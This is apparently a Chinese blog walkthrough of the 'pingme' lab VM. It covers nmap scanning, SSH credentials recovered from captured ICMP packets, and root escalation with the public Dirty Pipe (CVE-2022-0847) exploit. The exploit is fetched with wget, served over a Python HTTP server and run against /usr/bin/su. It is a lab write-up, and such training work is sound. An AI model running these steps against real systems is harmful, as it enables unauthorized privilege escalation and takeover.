学习打靶--CVE-2022-0847--pingme(1)

准备环境

靶机pingme:https://pan.baidu.com/s/110nJjTR0ipkE3islnjqmIw 
提取码:8isg

漏洞:CVE-2022-0847

靶机名:pingme

影响范围:Linux Kernel >= 5.8
             Linux Kernel < 5.16.11 或 5.15.25 或 5.10.102

kali系统:Index of /kali-images 

漏洞描述:A flaw was found in the way the "flags" member of the new pipe buffer structure was lacking proper initialization in copy_page_to_iter_pipe and push_pipe functions in the Linux kernel and could thus contain stale values. An unprivileged local user could use this flaw to write to pages in the page cache backed by read only files and as such escalate their privileges on the system.(自行翻译哈)    ---来源NVD - CVE-2022-0847 (nist.gov)

,环境问题

靶机下载后使用VM打开ova文件,按引导操作即可,随后开机后注意IP显示,

如果为127.0.1.1就需要开机的时候进入单用户模式修改一下网卡名称了

开机到此画面时按上下方向,按e,进入内核配置,在对应位置修改,后Ctrl+x,进入单用户模式

 

先查看自己的网卡,再进入配置

 将对应的网卡名更改成查看到的网卡名,再:wq! 后重启虚拟机即可。

好啦,现在我们正式开始打靶!

二,信息收集及利用

先查看自己的ip,再使用nmap -sn扫描一波,再 -A 详细来一波(自行判断靶机IP) 

┌──(root💀kali)-[~/桌面]
└─# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
    link/ether 00:0c:29:94:32:d0 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.10/24 brd 192.168.1.255 scope global dynamic noprefixroute eth0
       valid_lft 88050sec preferred_lft 88050sec
    inet6 fe80::20c:29ff:fe94:32d0/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:68:70:f2:5b brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
                                                                                                                                                            
┌──(root💀kali)-[~/桌面]
└─# nmap -sn 192.168.1.0/24
Starting Nmap 7.91 ( https://nmap.org ) at 2022-06-09 17:54 CST
Nmap scan report for 192.168.1.2
Host is up (0.000090s latency).
MAC Address: 00:50:56:E4:A8:D7 (VMware)
Nmap scan report for 192.168.1.11
Host is up (0.00028s latency).
MAC Address: 00:0C:29:8B:D2:6E (VMware)
Nmap scan report for 192.168.1.20
Host is up (0.00021s latency).
MAC Address: 00:50:56:F2:61:44 (VMware)
Nmap scan report for 192.168.1.10
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.20 seconds
                                                                                                                                                            
┌──(root💀kali)-[~/桌面]
└─# nmap -A 192.168.1.11   
Starting Nmap 7.91 ( https://nmap.org ) at 2022-06-09 17:55 CST
Nmap scan report for 192.168.1.11
Host is up (0.0011s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   3072 1f:e7:c0:44:2a:9c:ed:91:ca:dd:46:b7:b3:3f:42:4b (RSA)
|   256 e3:ce:72:cb:50:48:a1:2c:79:94:62:53:8b:61:0d:23 (ECDSA)
|_  256 53:84:2c:86:21:b6:e6:1a:89:97:98:cc:27:00:0c:b0 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Ping test
MAC Address: 00:0C:29:8B:D2:6E (VMware)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   1.15 ms 192.168.1.11

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.18 seconds

发现开放端口 22和80端口,先看看80端口是啥玩意,打开浏览器,http://192.168.1.11 

发现打开后是自己ping靶机??,好家伙。别慌,事物反常必有妖,按个F12瞅瞅,嘿!带了两句洋文?(偷偷的翻译一波),居然是:

 简单的1页布局和传输ICMP数据包。。。

这里没什么可看的。。。你需要去别的地方看看。

网页上查看没有什么,抓个包看看, 输入命令后,回到浏览器,刷新一下,让它ping一次,返回终端,ctrl+c打断,包就会在当前目录保存在file1,

┌──(root💀kali)-[~/桌面]
└─# tcpdump -i eth0 icmp -w file1
tcpdump: listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
^C8 packets captured
8 packets received by filter
0 packets dropped by kernel

使用wireshark打开 

┌──(root💀kali)-[~/桌面]
└─# wireshark file1

打开包后分析,发现还藏了东西!!!一个包都不放过!查,

 

选中username出现的地方Ctrl+shift+o,发现第一组请求和返回包是username,接着第二组是pinger,第三组password,第四P!ngM3,看情况是一组账户密码

我记得靶机还开放了22端口吧( ❝̆ ·̫̮ ❝̆ )

┌──(root💀kali)-[~/桌面]
└─# ssh pinger@192.168.1.11
pinger@192.168.1.11's password: 
Linux pingme 5.10.0-11-amd64 #1 SMP Debian 5.10.92-1 (2022-01-18) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jun  8 18:12:36 2022 from 192.168.1.10
pinger@pingme:~$ 

成功进入,进入后我的习惯就是id一下,sudo -l 一下,发现是个这个用户有个可以sudo文件,查一下是干什么的先,这里可以参考一下这位大佬的文章,就是网络中拷贝文件的,就不在演示了。sendfile | 传说中的零拷贝(主要用于网络中文件传输)_钢钢钢很不爽的博客-CSDN博客_sendfile

 大佬已经说明了哈,小弟在此谢谢大佬了。

pinger@pingme:~$ id
uid=1000(pinger) gid=1000(pinger) groups=1000(pinger),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),112(bluetooth)
pinger@pingme:~$ sudo -l
Matching Defaults entries for pinger on pingme:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User pinger may run the following commands on pingme:
    (root) NOPASSWD: /usr/local/sbin/sendfilebyping
pinger@pingme:~$ 

三,漏洞CVE-2022-0847利用

查看一下系统的基本信息,例如版本号啥的(好吧,我承认漏洞就是这里看出来的)uname -a

CVE-2022-0847这个漏洞的影响范围在:Linux Kernel >= 5.8和Linux Kernel < 5.16.11 / 5.15.25 / 5.10.102。

针对这个漏洞有现成的POC,执行的条件是带有一个具有SUID 权限的可执行文件去执行

先搜索一下哪些文件带有SUID权限

pinger@pingme:~$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/mount
/usr/bin/passwd
/usr/bin/su
/usr/bin/chsh
/usr/bin/umount
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd

 这里我们可以发现熟悉的su ,sudo常用的这些都在,那么我们就把POC下载下来,进行编译,下载可以参考这个链接:https://haxx.in/files/dirtypipez.c 

┌──(root💀kali)-[~/桌面]
└─# wget https://haxx.in/files/dirtypipez.c
--2022-06-09 19:27:20--  https://haxx.in/files/dirtypipez.c
正在解析主机 haxx.in (haxx.in)... 54.37.234.99
正在连接 haxx.in (haxx.in)|54.37.234.99|:443... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度:7335 (7.2K) [text/x-csrc]
正在保存至: “dirtypipez.c”

dirtypipez.c                           100%[============================================================================>]   7.16K  --.-KB/s  用时 0s      

2022-06-09 19:27:23 (276 MB/s) - 已保存 “dirtypipez.c” [7335/7335])

┌──(root💀kali)-[~/桌面]
└─# gcc dirtypipez.c -o dirtypipez111 #dirtypipez111 是编译后的新文件名,随意打

使用Python架设http服务将文件上传到靶机

┌──(root💀kali)-[~/桌面]
└─# python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

注意路径,我的所有操作都在桌面没变过,所以我下载的时候直接相对路径就可以(就是直接输文件名)。

使用ssh登陆的账户下载这个编译后的POC

pinger@pingme:~$ wget http://192.168.1.10:8000/dirtypipez111   #IP指向http服务器注意端口
--2022-06-09 12:36:26--  http://192.168.1.10:8000/dirtypipez111
Connecting to 192.168.1.10:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18184 (18K) [application/octet-stream]
Saving to: ‘dirtypipez111’

dirtypipez111                          100%[============================================================================>]  17.76K  --.-KB/s    in 0s      

2022-06-09 12:36:26 (342 MB/s) - ‘dirtypipez111’ saved [18184/18184]

pinger@pingme:~$ ls -l
total 24
-rw-r--r-- 1 pinger pinger 18184 Jun  9 12:29 dirtypipez111
-rw-r--r-- 1 pinger pinger    16 Mar  5 16:41 user.txt

加上 X 权限,再执行

pinger@pingme:~$ chmod +x dirtypipez111 
pinger@pingme:~$ ls -l
total 24
-rwxr-xr-x 1 pinger pinger 18184 Jun  9 12:29 dirtypipez111
-rw-r--r-- 1 pinger pinger    16 Mar  5 16:41 user.txt
pinger@pingme:~$ ./dirtypipez111 /usr/bin/su
./dirtypipez111: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.33' not found (required by ./dirtypipez111)

这里提示找不到glibc2.33版本,这是因为编译时版本高,执行时版本低导致,没关系,换个低版本的机器再编译一下上传就可以了(网盘中有在低版本编译好的POC,直接上传执行就可以了)

这时候就用上我那老当益壮的kali2018了,撸起袖子就是干!

从原来的系统中下载未编译的文件,在kali2018中编译,我反手就直接相同的操作架起一个http服务

还是在原来的ssh登陆的账户中下载kali2018编译好的,给文件加上 X 权限,再执行一次

pinger@pingme:~$ wget http://192.168.1.12:8000/dirtypipez222 #这里的ip就是kali2018的ip
--2022-06-09 12:57:17--  http://192.168.1.12:8000/dirtypipez222
Connecting to 192.168.1.12:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18024 (18K) [application/octet-stream]
Saving to: ‘dirtypipez222’

dirtypipez222                          100%[============================================================================>]  17.60K  --.-KB/s    in 0s      

2022-06-09 12:57:17 (440 MB/s) - ‘dirtypipez222’ saved [18024/18024]

pinger@pingme:~$ ls -l
total 44
-rwxr-xr-x 1 pinger pinger 18184 Jun  9 12:29 dirtypipez111
-rw-r--r-- 1 pinger pinger 18024 Jun  9 12:51 dirtypipez222
-rw-r--r-- 1 pinger pinger    16 Mar  5 16:41 user.txt
pinger@pingme:~$ chmod +x dirtypipez222
pinger@pingme:~$ ls -l
total 44
-rwxr-xr-x 1 pinger pinger 18184 Jun  9 12:29 dirtypipez111
-rwxr-xr-x 1 pinger pinger 18024 Jun  9 12:51 dirtypipez222
-rw-r--r-- 1 pinger pinger    16 Mar  5 16:41 user.txt
pinger@pingme:~$ ./dirtypipez222 /usr/bin/su
[+] hijacking suid binary..
[+] dropping suid shell..
[+] restoring suid binary..
[+] popping root shell.. (dont forget to clean up /tmp/sh ;))
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),112(bluetooth),1000(pinger)

id 一下显示为  #root   (看到#号就像看到了家人一样)

好 非常好!

棒 非常棒!

好啦,打靶到处结束啦。

  • 6
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值